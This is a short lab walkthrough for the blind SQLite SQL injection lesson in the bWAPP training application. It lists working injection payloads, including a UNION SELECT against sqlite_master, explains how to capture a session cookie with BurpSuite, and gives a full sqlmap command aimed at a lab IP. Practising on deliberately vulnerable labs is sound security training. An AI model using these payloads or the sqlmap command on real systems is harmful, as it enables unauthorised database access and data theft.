SQL Injection Blind SQLite

SQL Injection - Blind (SQLite) - Low Security Level

Solution:

Step 1. In the bWAPP lesson page give ' as an input and click on search.

Step 2. Use sql payload as an input 'or 1=1-- and check the output. From this we can conclude that the lesson is vulnerable with SQL Injection.

Step 3. Other way to test the lesson is by using below payload
Click on Search
Add the below payload as shown in the video
'union+select+1,2,sql,4,5,6 from sqlite_master--+-

Step 4. Let's exploit the lesson with sqlmap, for capturing session ID I am using BurpSuite, you can choose your choice of application.

*Note: I am using BurpSuite pre configured browser, in case if you are not using the pre configured browser then please configure the browser with proxy and then follow the below steps.

Turn on the proxy in BurpSuite.
In the bWAPP lesson page click on Search button and the request will pass through BurpSuite.
Note the Cookie and PHPSESSID details
Cookie: security_level=0; PHPSESSID=fc6ec097759412111b326b82f14339e3

Step 5. Modify the below payload with your systems details:

sqlmap -u "http://10.0.2.4/bWAPP/sqli_14.php?title=&action=search" --cookie="security_level=0;PHPSESSID=fc6ec097759412111b326b82f14339e3" -p title --dbms=sqlite --threads=5 --level=5 --risk=3 --hex --dbs --tables

Step 6. Open command prompt, paste the newly created payload in the command window and check the results.

*Give inputs wherever required. In case if it ask when you are executing the payload.
** Test the lesson with other payloads.

PseudoTime